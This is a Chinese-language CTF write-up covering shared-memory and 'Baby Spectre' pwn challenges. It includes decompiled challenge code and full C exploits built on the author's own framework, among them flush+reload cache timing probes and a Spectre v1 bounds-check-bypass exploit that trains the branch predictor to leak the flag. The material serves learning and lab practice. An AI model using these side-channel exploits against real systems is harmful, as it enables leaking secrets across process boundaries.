Examples
下面给出一些我在学习过程中写的 demo,就不详细说明作用了,只贴一下代码(怕自己弄丢了
用到的 axium 是我自己写的内核 / 侧信道框架,点点 star 支持一下谢谢 :P
对于侧信道,还提供了缓存噪声分析的 dashboard xD
每个 chart 都可以单独导出为 PNG,方便嵌入到文档中之类的……
当然,TUI 的可视化 report 也是必不可少的:
探测当前程序内内存映射有没有进缓存
#include <axium/axium.h>
#define ARRAY_SIZE 32#define PAGE_SIZE 0x1000#define TOTAL_SIZE (ARRAY_SIZE * PAGE_SIZE)
int main(int argc, char *argv[]) { set_log_level(DEBUG); if (argc < 2) { log_info("Usage: %s <IDX>", argv[0]); return 1; }
int target_idx = atoi(argv[1]); if (target_idx < 0 || target_idx >= ARRAY_SIZE) { log_error("Index must be between 0 and %d", ARRAY_SIZE - 1); }
uint8_t *target = mmap(NULL, TOTAL_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0); if (target == MAP_FAILED) { log_exception("mmap"); }
uint64_t threshold = cache_calibrate_threshold(target); log_info("Calibrated threshold (context-aware): %lu cycles", threshold);
cache_flush_range(target, TOTAL_SIZE);
maccess(&target[target_idx * PAGE_SIZE]); uint64_t results[ARRAY_SIZE]; for (size_t i = 0; i < ARRAY_SIZE; i++) { size_t mixed_idx = MIXED_IDX(i, ARRAY_SIZE - 1);
uint64_t start = probe_start(); maccess(&target[mixed_idx * PAGE_SIZE]); uint64_t end = probe_end();
results[mixed_idx] = end - start; }
cache_report_t report; cache_analyze(&report, results, ARRAY_SIZE, threshold); cache_report(&report);
if (cache_export_report(&report, "report.json") == 0) { cache_view_report("report.json"); } else { log_error("Report export failed!"); }
munmap(target, TOTAL_SIZE); return 0;}探测其它程序内内存映射有没有进缓存
先跑 multiprocess-attacker 再跑 victim 访问内存,效果如下:
#include <axium/axium.h>
#define ARRAY_SIZE 32#define PAGE_SIZE 0x1000#define TOTAL_SIZE (ARRAY_SIZE * PAGE_SIZE)
int main(int argc, char *argv[]) { set_log_level(DEBUG); if (argc < 3) { log_info("Usage: %s <IDX> <CPU CORE>", argv[0]); return -1; }
int target_idx = atoi(argv[1]); if (target_idx < 0 || target_idx >= ARRAY_SIZE) log_error("Index must be between 0 and %d", ARRAY_SIZE - 1);
long nprocs = sysconf(_SC_NPROCESSORS_ONLN); int chosen_cpu_core = atoi(argv[2]); if (chosen_cpu_core < 0 || chosen_cpu_core >= nprocs) log_error("CPU Core number must be between 0 and %ld", nprocs - 1); set_cpu_affinity(chosen_cpu_core);
int fd = shm_open("/test", O_CREAT | O_RDWR, 0666); ftruncate(fd, TOTAL_SIZE);
char *target = mmap(NULL, TOTAL_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
log_info("Victim performing a single access to Index %d...", target_idx); maccess(&target[target_idx * PAGE_SIZE]);
return 0;}#include <axium/axium.h>
#define ARRAY_SIZE 32#define PAGE_SIZE 0x1000#define TOTAL_SIZE (ARRAY_SIZE * PAGE_SIZE)
int main(int argc, char *argv[]) { set_log_level(DEBUG); if (argc < 2) { log_info("Usage: %s <CPU CORE>", argv[0]); return -1; }
long nprocs = sysconf(_SC_NPROCESSORS_ONLN); int chosen_cpu_core = atoi(argv[1]); if (chosen_cpu_core < 0 || chosen_cpu_core >= nprocs) log_error("CPU Core number must be between 0 and %ld", nprocs - 1); set_cpu_affinity(chosen_cpu_core);
shm_unlink("/test"); int fd = shm_open("/test", O_CREAT | O_RDWR, 0666); ftruncate(fd, TOTAL_SIZE);
char *target = mmap(NULL, TOTAL_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
uint64_t threshold = cache_calibrate_threshold(target); log_info("Calibrated threshold (context-aware): %lu cycles", threshold);
if (cache_audit(target, threshold) != 0) log_warning("Audit FAILED: clflush seems ineffective.");
cache_watch_report_t report; uint64_t hits[ARRAY_SIZE] = {0}; cache_watch_report_init(&report, hits, ARRAY_SIZE, threshold);
cache_watch_config config = cache_watch_config_init(threshold, ARRAY_SIZE, PAGE_SIZE, 100);
cache_watch_install_handler(&report, "report.json"); cache_watch(target, &config, NULL, &report);
return 0;}Shared Memory 1.0
Information
- Category: Pwn
Description
Get started with interacting with processes via shared memory.
Write-up
前两道题不记分,估计是用来让我们熟悉一下共享内存的。
话不多说,直接逆。
main 先调用这个函数,把 flag 读到 bss 了,没啥说的。
int read_flag_to_global(){ int v1; // [rsp+8h] [rbp-8h] int fd; // [rsp+Ch] [rbp-4h]
fd = open("/flag", 0); v1 = read(fd, &flag_val, 0x100u); if ( !fd || v1 <= 0 ) { printf("Failed to read flag file. Exiting"); exit(1); } return close(fd);}然后是核心逻辑:
必须要 argc 大于 1,也就是除了 argv[0] 外我们起码还得多传一个参数,那具体要几个,以及,这个参数是干啥的呢?
我们注意到 argv[1] 被复制到了 dest,所以这个参数是必要的,没有溢出,设置了 NULL terminate,然后又创建了一个 argva 参数列表,列表里只有一个参数,即 dest。
if ( argc > 1 ) { strncpy(dest, argv[1], 0x12Bu); dest[299] = 0; argva[0] = dest; argva[1] = 0; shared_page = make_shared_page(&p_sem); v12 = (int)time(0) % 13; pin_cpu(v12); printf("Pinning processes to CPU %d\n", v12); v14 = fork(); if ( v14 ) { printf("Launching your code as PID: %d!\n", v14); puts("----------------"); wait(0); v11 = inject_open_shm(v14); inject_mmap(v14, v11); inject_drop_privs(v14); sem = p_sem; sem_init(p_sem, 1, 0); v9 = sem + 1; *(_DWORD *)sem[1].__size = 0; fd = open("/flag", 0); buf = (char *)&p_sem[1].__align + 4; read(fd, (char *)&p_sem[1].__align + 4, 0x50u); printf("The flag is now in memory at %p\n", buf); ptrace_detatch(v14); shm_unlink("/pwncollege"); puts("### Goodbye!"); } else { ptrace(PTRACE_TRACEME, 0, 0, 0); execv(dest, argva); } return 0; } else { puts("ERROR: argc < 2!"); return 1; }接着创建共享页,并设置大小为 0x101000,然后映射到 0x1337000,权限是 PROT_READ | PROT_WRITE,flag 是 MAP_FIXED | MAP_SHARED,即必须映射到 addr 指定的地址且映射和 fd 背后的对象共享,即访问这个映射地址就是访问共享内存。
此外,0x1337000 这个地址也将用作全局变量 p_sem,根据定义,这是一个 semaphore。然后将共享内存的 fd 返回,给到 shared_page。
__int64 __fastcall make_shared_page(sem_t **p_sem){ unsigned int fd; // [rsp+1Ch] [rbp-4h]
puts("Creating Shared memory"); shm_unlink("/pwncollege"); fd = shm_open("/pwncollege", 66, 0x1C7u); ftruncate(fd, 0x101000); *p_sem = (sem_t *)mmap((void *)0x1337000, 0x101000u, 3, 32769, fd, 0); if ( *p_sem != (sem_t *)0x1337000 ) __assert_fail("*addr == (char *) mmap_addr", "babyarchmemflag.c", 0x169u, "make_shared_page"); return fd;}接着用当前的时间作为 seed 随机将程序绑定到 的一个 CPU Core 上运行。
int __fastcall pin_cpu(int n0x3FF){ cpu_set_t cpuset; // [rsp+10h] [rbp-90h] BYREF unsigned __int64 n0x3FF_1; // [rsp+98h] [rbp-8h]
memset(&cpuset, 0, sizeof(cpuset)); n0x3FF_1 = n0x3FF; if ( (unsigned __int64)n0x3FF <= 1023 ) cpuset.__bits[n0x3FF_1 >> 6] |= 1LL << (n0x3FF_1 & 63); return sched_setaffinity(0, 0x80u, &cpuset);}然后创建子进程,子进程会执行 dest,因此,我们知道 argv[1] 其实需要传递一个程序路径。此外,由于子进程设置了 PTRACE_TRACEME,所以父进程可以修改子进程的 stats 。
一旦 execv 执行成功,内核会 自动 SIGTRAP,子进程暂停,父进程开始 ptrace 操作子进程。
ptrace(PTRACE_TRACEME, 0, 0, 0); execv(dest, argva);父进程通过 wait(0) 确保子进程发出 SIGTRAP 信号后,开始 ptrace,进行一些操作,具体内容自己分析太恶心了,丢给 AI 就好了,我就不写了。大致结果就是将 victim 打开的共享内存页注入到我们的 exp 程序中,省去了我们手动 mmap 绑定的步骤。
然后将 0x1337000,也就是 p_sem 信号量联合体初始化为 0,之后 open flag,将 flag 读到 (char *)&p_sem[1].__align + 4 的位置,这个可以看一下 sem_t 的定义:
#if __WORDSIZE == 64# define __SIZEOF_SEM_T 32#else# define __SIZEOF_SEM_T 16#endif
typedef union{ char __size[__SIZEOF_SEM_T]; long int __align;} sem_t;因此它其实就是将 flag 读到了第二个联合体的地址加四的位置。之后 ptrace_detatch 让子进程继续跑。
所以我们只要写一个程序去输出 flag 被加载到的位置就好了。
Exploit
#include <semaphore.h>#include <unistd.h>
#define SHM_BASE 0x1337000#define SEM_SIZE sizeof(sem_t)#define OFFSET (SEM_SIZE + 4)#define FLAG_ADDR (char *)(SHM_BASE + OFFSET)
int main(int argc, char *argv[]) { write(1, FLAG_ADDR, 0x100); return 0;}Shared Memory 2.0
Information
- Category: Pwn
Description
Get started with interacting with processes via shared memory.
Write-up
和上题差不多,区别是父进程的实现:
if ( v14 ) { printf("Launching your code as PID: %d!\n", v14); puts("----------------"); wait(0); v11 = inject_open_shm(v14); inject_mmap(v14, v11); inject_drop_privs(v14); sem = p_sem; sem_init(p_sem, 1, 0); v9 = sem + 1; *(_DWORD *)sem[1].__size = 0; printf("This challenge will read the flag into memory when the semaphore located at %p is incremented.", sem); ptrace_detatch(v14); sem_wait(sem); fd = open("/flag", 0); buf = (char *)&p_sem[1].__align + 4; read(fd, (char *)&p_sem[1].__align + 4, 0x50u); printf("The flag is now in memory at %p\n", buf); shm_unlink("/pwncollege"); puts("### Goodbye!"); }ptrace_detatch 之后 sem_wait(sem) 等待信号量被消耗,然后才会去 open, read flag 。但是由于这个信号量被 sem_init(p_sem, 1, 0) 初始化为 0,所以我们的子进程应该使用 sem_post 增加一下信号量,否则程序会一直等待。
Exploit
#include <semaphore.h>#include <unistd.h>
#define SHM_BASE 0x1337000#define SEM_SIZE sizeof(sem_t)#define OFFSET (SEM_SIZE + 4)#define FLAG_ADDR (char *)(SHM_BASE + OFFSET)#define SEM_ADDR (sem_t *)SHM_BASE
int main(int argc, char *argv[]) { sem_post(SEM_ADDR); write(1, FLAG_ADDR, 0x100); return 0;}Baby Spectre 1
Information
- Category: Pwn
Description
Get started with a binary that side-channels itself!
Write-up
正菜才刚刚开始。
简单逆向一下,我们可知 &sem[1] = p_sem = 0x1337000,会被初始化为 0,由于后续 sem_wait(*(sem_t **)&sem[1]) 的阻塞,故需要我们手动增加这个信号量,否则不会执行攻击;&sem[1] + 32LL 则是用于控制要访问的 flag byte 的 idx 。
然后这部分是非阻塞式地检查子进程有没有退出,退出则结束程序:
pid_1 = waitpid(pid, &stat_loc, 1);if ( pid == pid_1 ) break;flush_cache 会将以 0x1337000 为基页的第二页,即 0x1338000 从 cache 中清空。
之后的 &p_sem[128 * flag_val[*idx] + 128]; 其实就是 *(0x1337000 + 0x1000 * flag_byte + 0x1000),也就是摸了一下 0x1338000 + flag_byte * 0x1000 这一页,让这一页的前 64 字节进入 L1 Cache 。
TIP至于为什么是
0x1000,其实是因为 C 是根据sizeof(type)进行索引换算的,即sem_t *p_sem在 C 语言的逻辑里:p_sem[N]的实际地址为p_sem + (N * sizeof(sem_t)),由于sizeof(sem_t) == 0x20,所以这里的两个128其实应该换算为0x1000。这里看汇编的话其实更清楚,因为可以直接看到换算后的结果:
main+594 mov rax, [rbp+idx]main+59B mov eax, [rax]main+59D cdqemain+59F lea rdx, flag_valmain+5A6 movzx eax, byte ptr [rax+rdx]main+5AA mov [rbp+var_A72], almain+5B0 mov rax, [rbp+p_sem]main+5B7 movsx edx, [rbp+var_A72]main+5BE shl edx, 0Chmain+5C1 movsxd rdx, edxmain+5C4 add rdx, 1000hmain+5CB add rax, rdxmain+5CE mov [rbp+var_A40], rax
接着 get_timing_data(idx, *(sem_t **)&sem[1], (__int64)timing_data); 内部会执行 256 次计时,统计 0x1338000 + [0, 255] * 0x1000 这 256 页的访问时间,写到 timing_data 数组。由于 *(_QWORD *)(8LL * (unsigned __int8)(-89 * i + 13) + timing_data),我们可知 timing_data 是按照 _QWORD 访问的。
最后,下面的代码将 timing_data 的数据写到攻击者可访问的共享内存中,也就是 0x1338000 + __size[8 * i],所以这也是将 0x1338000 视作一个按照 _QWORD 访问的数组,每个索引对应了 timing_data[i] 的计时信息。因此,只要这个计时信息小于 hit cache threshold,我们就认为对应的 page 包含一个 flag byte,而由于 flag byte 的存储是按照 *(0x1337000 + 0x1000 * flag_byte + 0x1000) 的形式访问的,所以我们只要将这个 page 的索引转换为对应的 ASCII 即可泄漏 flag 的值。
for ( i = 0; i <= 255; ++i ){ v14 = p_sem + 128; *(_QWORD *)&p_sem[128].__size[8 * i] = timing_data[i];}Exploit
欣赏一下我的预言机版本半自动化 Pwn Framework xD
#include <axium/axium.h>
#define SHM_BASE ((char *)0x1337000)#define SEM_OFFSET 0#define IDX_ARRAY_OFFSET sizeof(sem_t)#define TIMING_ARRAY_OFFSET 0x1000#define TIMING_ARRAY_SIZE 256
/** * @brief Context for the challenge environment. */typedef struct { sem_t *sem; /**< Semaphore for synchronization. */ int *idx_array; /**< Index selection in shared memory. */ uint64_t *timing_array; /**< Timing results in shared memory. */} challenge_ctx_t;
/** * @brief Triggers the victim to perform a measurement. */static void trigger(size_t idx_array, void *ctx) { challenge_ctx_t *c = (challenge_ctx_t *)ctx; *c->idx_array = (int)idx_array; c->timing_array[TIMING_ARRAY_SIZE - 1] = 0; /* Clear synchronizing sentinel */ sem_post(c->sem);}
/** * @brief Waits for the victim to finish measurement. */static bool wait(void *ctx) { challenge_ctx_t *c = (challenge_ctx_t *)ctx; /* Wait up to 1 second, checking every 100us */ return wait_until(c->timing_array[TIMING_ARRAY_SIZE - 1] != 0, 1.0, 100);}
int main(void) { set_log_level(DEBUG);
/* Match challenge's CPU affinity for stable measurements */ set_cpu_affinity(time(NULL) % 13);
/* clang-format off */ challenge_ctx_t ctx = { .sem = (sem_t *)(SHM_BASE + SEM_OFFSET), .idx_array = (int *)(SHM_BASE + IDX_ARRAY_OFFSET), .timing_array = (uint64_t *)(SHM_BASE + TIMING_ARRAY_OFFSET) };
schan_ops_t ops = { .trigger = trigger, .wait = wait, .analyze = NULL }; /* clang-format on */
schan_oracle_t schan_oracle; schan_oracle_init(&schan_oracle, ops, ctx.timing_array, TIMING_ARRAY_SIZE, &ctx);
/* Upcast to generic oracle for high-level scanning */ oracle_t *oracle = &schan_oracle.base;
log_info("Starting exploit...");
char flag[256] = {0}; ssize_t leaked = oracle_scan(oracle, flag, sizeof(flag) - 1, '}');
if (leaked > 0) { log_success("Flag: %s", flag); } else { log_error("Exploit failed."); }
return 0;}Baby Spectre 2
Information
- Category: Pwn
Description
A binary that side-channels itself, now using multiple pages.
Write-up
这题就是给每个索引都开了一个 0x1000 大小的页,p_align = &p_sem[128 * i + 128].__align;,所以最好的办法应该是自己重构一个结果数组然后寻找最优匹配。
Exploit
#include <axium/axium.h>
#define SHM_BASE ((char *)0x1337000)#define SEM_OFFSET 0#define IDX_ARRAY_OFFSET sizeof(sem_t)#define TIMING_ARRAY_OFFSET 0x1000#define TIMING_ARRAY_SIZE 256
typedef struct { sem_t *sem; int *idx_array; uint64_t *timing_array; uint64_t results[TIMING_ARRAY_SIZE];} challenge_ctx_t;
static void trigger(size_t idx_array, void *ctx) { challenge_ctx_t *c = (challenge_ctx_t *)ctx; *c->idx_array = (int)idx_array; uint64_t *sentinel = (uint64_t *)((char *)c->timing_array + 0x1000 * (TIMING_ARRAY_SIZE - 1)); *sentinel = 0; sem_post(c->sem);}
static bool wait(void *ctx) { challenge_ctx_t *c = (challenge_ctx_t *)ctx; uint64_t *sentinel = (uint64_t *)((char *)c->timing_array + 0x1000 * (TIMING_ARRAY_SIZE - 1));
if (!wait_until(*sentinel != 0, 1.0, 100)) { return false; }
for (int i = 0; i < TIMING_ARRAY_SIZE; i++) { c->results[i] = *(uint64_t *)((char *)c->timing_array + 0x1000 * i); }
return true;}
int main(void) { set_log_level(DEBUG); set_cpu_affinity(time(NULL) % 13);
/* clang-format off */ challenge_ctx_t ctx = { .sem = (sem_t *)(SHM_BASE + SEM_OFFSET), .idx_array = (int *)(SHM_BASE + IDX_ARRAY_OFFSET), .timing_array = (uint64_t *)(SHM_BASE + TIMING_ARRAY_OFFSET) };
schan_ops_t ops = { .trigger = trigger, .wait = wait, .analyze = NULL }; /* clang-format on */
schan_oracle_t schan_oracle; schan_oracle_init(&schan_oracle, ops, ctx.results, TIMING_ARRAY_SIZE, &ctx);
oracle_t *oracle = &schan_oracle.base;
log_info("Starting exploit...");
char flag[256] = {0}; ssize_t leaked = oracle_scan(oracle, flag, sizeof(flag) - 1, '}');
if (leaked > 0) { log_success("Flag: %s", flag); } else { log_error("Exploit failed."); }
return 0;}Baby Spectre 3
Information
- Category: Pwn
Description
Measure memory access timings to leak the flag via a side-channel.
Write-up
到底是什么神人写个 exp 持续浪费 CPU 资源,还不结束的!他不会真以为自己一直跑就能赢吧……他不会挂着 exp 去睡觉了吧……我的 flag 啊~
Exploit
#include <axium/axium.h>
#define SHM_BASE ((char *)0x1337000)#define SEM_OFFSET 0#define IDX_ARRAY_OFFSET sizeof(sem_t)#define TIMING_ARRAY_SIZE 256
typedef struct { sem_t *sem; int *idx_array; char *probe_base; uint64_t results[TIMING_ARRAY_SIZE];} challenge_ctx_t;
static void trigger(size_t idx_array, void *ctx) { challenge_ctx_t *c = (challenge_ctx_t *)ctx; *c->idx_array = (int)idx_array; sem_post(c->sem);}
static bool wait(void *ctx) { challenge_ctx_t *c = (challenge_ctx_t *)ctx;
for (int i = 0; i < TIMING_ARRAY_SIZE; i++) { int idx = MIXED_IDX(i, 255); char *addr = c->probe_base + 0x1000 * idx;
uint64_t start = probe_start(); maccess(addr); uint64_t end = probe_end();
c->results[idx] = end - start; }
return true;}
int main(void) { set_log_level(DEBUG); set_cpu_affinity(time(NULL) % 13);
/* clang-format off */ challenge_ctx_t ctx = { .sem = (sem_t *)SHM_BASE, .idx_array = (int *)((sem_t *)SHM_BASE + 1), .probe_base = (char *)SHM_BASE + 0x1000 };
schan_ops_t ops = { .trigger = trigger, .wait = wait, .analyze = NULL }; /* clang-format on */
schan_oracle_t schan_oracle; schan_oracle_init(&schan_oracle, ops, ctx.results, TIMING_ARRAY_SIZE, &ctx);
oracle_t *oracle = &schan_oracle.base;
log_info("Starting exploit...");
char flag[256] = {0}; ssize_t leaked = oracle_scan(oracle, flag, sizeof(flag) - 1, '}');
if (leaked > 0) { log_success("Flag: %s", flag); } else { log_error("Exploit failed."); }
return 0;}Baby Spectre 4
Information
- Category: Pwn
Description
Perform a full flush and reload side-channel attack!
Write-up
不是哥们,我这题都秒了,上题却因为有傻逼持续浪费 CPU 而导致我拿不到 flag,让我拿到一堆噪声我也是无语了。
Exploit
#include <axium/axium.h>
#define SHM_BASE ((char *)0x1337000)#define SEM_OFFSET 0#define IDX_ARRAY_OFFSET sizeof(sem_t)#define TIMING_ARRAY_SIZE 256
typedef struct { sem_t *sem; int *idx_array; char *probe_base; uint64_t results[TIMING_ARRAY_SIZE];} challenge_ctx_t;
static void trigger(size_t idx_array, void *ctx) { challenge_ctx_t *c = (challenge_ctx_t *)ctx;
for (int i = 0; i < TIMING_ARRAY_SIZE; i++) { clflush(c->probe_base + 0x1000 * i); } mfence();
*c->idx_array = (int)idx_array; sem_post(c->sem);}
static bool wait(void *ctx) { challenge_ctx_t *c = (challenge_ctx_t *)ctx;
for (int i = 0; i < TIMING_ARRAY_SIZE; i++) { int idx = MIXED_IDX(i, 255); char *addr = c->probe_base + 0x1000 * idx;
uint64_t start = probe_start(); maccess(addr); uint64_t end = probe_end();
c->results[idx] = end - start; }
return true;}
int main(void) { set_log_level(DEBUG); set_cpu_affinity(time(NULL) % 13);
/* clang-format off */ challenge_ctx_t ctx = { .sem = (sem_t *)SHM_BASE, .idx_array = (int *)((sem_t *)SHM_BASE + 1), .probe_base = (char *)SHM_BASE + 0x1000 };
schan_ops_t ops = { .trigger = trigger, .wait = wait, .analyze = NULL }; /* clang-format on */
schan_oracle_t schan_oracle; schan_oracle_init(&schan_oracle, ops, ctx.results, TIMING_ARRAY_SIZE, &ctx);
oracle_t *oracle = &schan_oracle.base;
log_info("Starting exploit...");
char flag[256] = {0}; ssize_t leaked = oracle_scan(oracle, flag, sizeof(flag) - 1, '}');
if (leaked > 0) { log_success("Flag: %s", flag); } else { log_error("Exploit failed."); }
return 0;}Baby Spectre 5
Information
- Category: Pwn
Description
This binary never reads the flag bytes.. or does it?
Write-up
这题对于摸 flag 有条件,即 (float)((float)*p_align / 257.0) > 1.0,也就是传入的索引起码为 258 才可以进入这个 if 分支,但是如果是 258 的话,又摸不到 flag……
if ( (float)((float)*p_align / 257.0) > 1.0 ) v12 = &p_sem[128 * flag_val[*p_align] + 128];所以这题其实是打 Spectre v1 Bounds Check Bypass (BCB) CVE-2017-5753,通过多次传入 258 以训练(欺骗)CPU 的 Branch Prediction Unit (BCB),让它认为程序极有可能进入这个 if 分支,导致推测性的执行 if 分支内的代码(前提是要有足够的时间去 Speculative Execution,所以这里才使用浮点数计算。因为通常浮点数计算消耗的 cycles 都很大,这为推测执行提供了充足的执行窗口。)
So ? 我写了一个自动化的 Spectre v1 BCB 漏洞利用框架,能应对强噪声环境,还提供了各种统计分析工具……自己研究去吧~
感觉我的 wp 写的越来越简略了,不过我觉得,都学到这一步了的人,应该不难理解吧?所以啰里巴嗦的概念我就不写了(
Exploit
#include <axium/axium.h>
#define SHM_BASE ((char *)0x1337000)#define PAGE_SIZE 0x1000#define TIMING_ARRAY_SIZE 256
typedef struct { sem_t *sem; int *idx_addr; char *probe_base; uint64_t results[TIMING_ARRAY_SIZE];} challenge_ctx_t;
static uint64_t cache_threshold = -1;static int training_byte_to_ignore = -1;
static void victim_callback(void *ctx) { challenge_ctx_t *c = (challenge_ctx_t *)ctx; sem_post(c->sem);}
static void trigger_wrapper(size_t idx, void *ctx) { challenge_ctx_t *c = (challenge_ctx_t *)ctx;
/* clang-format off */ spectre_config_t config = { .variant = SPECTRE_V1_BCB, .v1 = { .index_addr = c->idx_addr, .index_size = sizeof(int), .training_val = 258, .attack_val = idx, }, .ratio = 4, .trials = 100, .sync_delay = 0, .post_delay = 100 }; /* clang-format on */
cache_flush_range(c->probe_base, PAGE_SIZE * TIMING_ARRAY_SIZE); mfence(); spectre_v1(&config, victim_callback, c);}
static bool wait_wrapper(void *ctx) { challenge_ctx_t *c = (challenge_ctx_t *)ctx; for (int i = 0; i < 256; i++) { int idx = MIXED_IDX(i, 255); char *addr = c->probe_base + PAGE_SIZE * idx;
uint64_t start = probe_start(); maccess(addr); uint64_t end = probe_end();
c->results[idx] = end - start; } return true;}
static int analyze_wrapper(const uint64_t *data, size_t len, void *ctx) { (void)ctx; uint64_t min_time = cache_threshold; int best_index = -1; for (int i = 0; i < (int)len; i++) { if (i == training_byte_to_ignore) continue; if (data[i] > 0 && data[i] < min_time) { min_time = data[i]; best_index = i; } } return best_index;}
int main(void) { set_log_level(DEBUG); set_cpu_affinity(time(NULL) % 13);
/* clang-format off */ challenge_ctx_t ctx = { .sem = (sem_t *)SHM_BASE, .idx_addr = (int *)((sem_t *)SHM_BASE + 1), .probe_base = (char *)SHM_BASE + PAGE_SIZE };
schan_ops_t ops = { .trigger = trigger_wrapper, .wait = wait_wrapper, .analyze = analyze_wrapper }; /* clang-format on */
cache_threshold = cache_calibrate_threshold(ctx.probe_base);
log_info("Profiling bias..."); trigger_wrapper(258, &ctx); wait_wrapper(&ctx); training_byte_to_ignore = find_best_hit(ctx.results, 256);
schan_oracle_t oracle; schan_oracle_init(&oracle, ops, ctx.results, 256, &ctx);
char flag[256] = {0}; log_info("Starting statistical scan...");
ssize_t leaked = oracle_scan_stat(&oracle.base, flag, sizeof(flag) - 1, '}', 50, 2, 10, NULL, 256); if (leaked > 0) { log_success("Flag: %s", flag); } else { log_error("Exploit failed."); }
return 0;}Baby Spectre 6
Information
- Category: Pwn
Description
Locate the flag in memory using shellcode after all references to it have been DESTROYED, you will only have access to the “exit” system call. You will need a creative way of locating the flag’s address in your process!
Write-up
Exploit